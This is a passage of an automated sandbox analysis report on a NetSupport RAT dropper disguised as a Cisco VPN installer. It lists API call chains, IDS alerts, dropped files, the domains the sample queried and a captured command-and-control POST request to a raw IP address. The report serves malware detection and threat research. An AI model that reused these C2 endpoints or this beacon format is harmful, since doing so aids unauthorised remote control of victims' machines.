Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ProxyCon\Win32\Release\ProxyCon.pdb)))GCTL source: is-139DF.tmp.1.dr
Source:	Binary string: client32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\PhoneHome\Win32\Release\acfeedback.pdbMM/GCTL source: is-O6HT8.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\ACRuntime\Release\acruntime.pdbjjKGCTL source: is-FRTV6.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ExternalBrowserHelper\Win32\Win32\Release\acextwebhelper.pdb source: is-K9DFT.tmp.1.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000007.00000002.4143874760.0000000068895000.00000002.00000001.01000000.0000000D.sdmp, client32.exe, 00000008.00000002.2110207513.0000000068895000.00000002.00000001.01000000.0000000D.sdmp, client32.exe, 0000000A.00000002.2191058031.0000000068895000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CLI\Win32\Release\vpncli.pdb source: is-7ARTU.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CommonCrypt\Win32\Release\vpncommoncrypt.pdb source: is-T3UDO.tmp.1.dr

Spreading

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11123570 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_11123570
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11069690 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_11069690
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1110BB80 GetLocalTime,wsprintfA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,ExpandEnvironmentStringsA,CreateFileA,timeBeginPeriod,GetLocalTime,timeGetTime,_memset,WriteFile,	7_2_1110BB80
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11107FE0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_11107FE0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110BC3D0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	7_2_110BC3D0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_1102CE2D InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE2D
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_11064E30 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_11064E30
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1102CE2D InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	8_2_1102CE2D
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11123570 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	8_2_11123570
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_1110BB80 GetLocalTime,wsprintfA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,ExpandEnvironmentStringsA,CreateFileA,timeBeginPeriod,GetLocalTime,timeGetTime,_memset,WriteFile,	8_2_1110BB80
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_11107FE0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	8_2_11107FE0
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110BC3D0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	8_2_110BC3D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49741 -> 199.188.200.195:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49739 -> 151.236.16.15:443

Yara detected NetSupport Downloader

Source: Yara match	File source: amsi32_6724.amsi.csv, type: OTHER
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Cisco\unins000.dat, type: DROPPED

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Source: is-HI577.tmp.1.dr	Static PE information: Found NDIS imports: FwpsCalloutRegister1, FwpsCalloutRegister0, FwpmFilterDeleteById0, FwpmBfeStateSubscribeChanges0, FwpsCalloutUnregisterById0, FwpmFilterAdd0, FwpsStreamInjectAsync0, FwpsQueryPacketInjectionState0, FwpsInjectTransportReceiveAsync0, FwpsInjectTransportSendAsync0, FwpsConstructIpHeaderForTransportPacket0, FwpsFreeCloneNetBufferList0, FwpsAllocateCloneNetBufferList0, FwpsFreeNetBufferList0, FwpsAllocateNetBufferAndNetBufferList0, FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpsApplyModifiedLayerData0, FwpsAcquireWritableLayerDataPointer0, FwpsReleaseClassifyHandle0, FwpsAcquireClassifyHandle0, FwpmBfeStateUnsubscribeChanges0, FwpmEngineOpen0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmTransactionCommit0, FwpmTransactionAbort0, FwpmProviderAdd0, FwpmProviderDeleteByKey0, FwpmSubLayerAdd0, FwpmSubLayerDeleteByKey0, FwpmCalloutAdd0, FwpmCalloutDeleteById0
Source: is-2J33H.tmp.1.dr	Static PE information: Found NDIS imports: FwpmEngineClose0, FwpmFilterAdd0, FwpmTransactionAbort0, FwpmFilterDeleteById0, FwpmTransactionBegin0, FwpmGetAppIdFromFileName0, FwpmEngineOpen0, FwpmSubLayerDeleteByKey0, FwpmSubLayerAdd0, FwpmTransactionCommit0, FwpmProviderAdd0, FwpmProviderDeleteByKey0

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 172.67.68.212 172.67.68.212

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: HVC-ASUS HVC-ASUS
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49743

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: payiki.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com
Source: global traffic	DNS traffic detected: DNS query: anyhowdo.com

Source: unknown

HTTP traffic detected: POST http://151.236.16.15/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 151.236.16.15Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: client32.exe, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://%s/fakeurl.htm
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://%s/testpage.htm
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000005.00000002.2043622253.00000000087D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: client32.exe, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000007.00000003.1987647210.000000000051A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4141461447.000000000053D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.1989580496.000000000051E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspA5
Source: client32.exe, 00000007.00000003.1987647210.000000000051A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4141461447.000000000053D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.1989580496.000000000051E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspPi
Source: client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: is-O6HT8.tmp.1.dr, is-FRTV6.tmp.1.dr	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000005.00000002.1991259471.0000000005677000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.1991259471.0000000004D21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1991259471.0000000005677000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sf.symcd.com0&
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: is-C1171.tmp.1.dr	String found in binary or memory: http://www.cisco.com/c/en/us/td/docs/security/vpn_client/anyconnect/anyconnect40/user/guide/b_Androi
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://www.cisco.com0
Source: is-M1NCB.tmp.1.dr, is-C9M46.tmp.1.dr, is-139DF.tmp.1.dr, is-7ARTU.tmp.1.dr, is-BKQ26.tmp.1.dr, is-6FEVR.tmp.1.dr, is-9JGUE.tmp.1.dr, is-T3UDO.tmp.1.dr, is-N867I.tmp.1.dr, is-O6HT8.tmp.1.dr, is-K9DFT.tmp.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
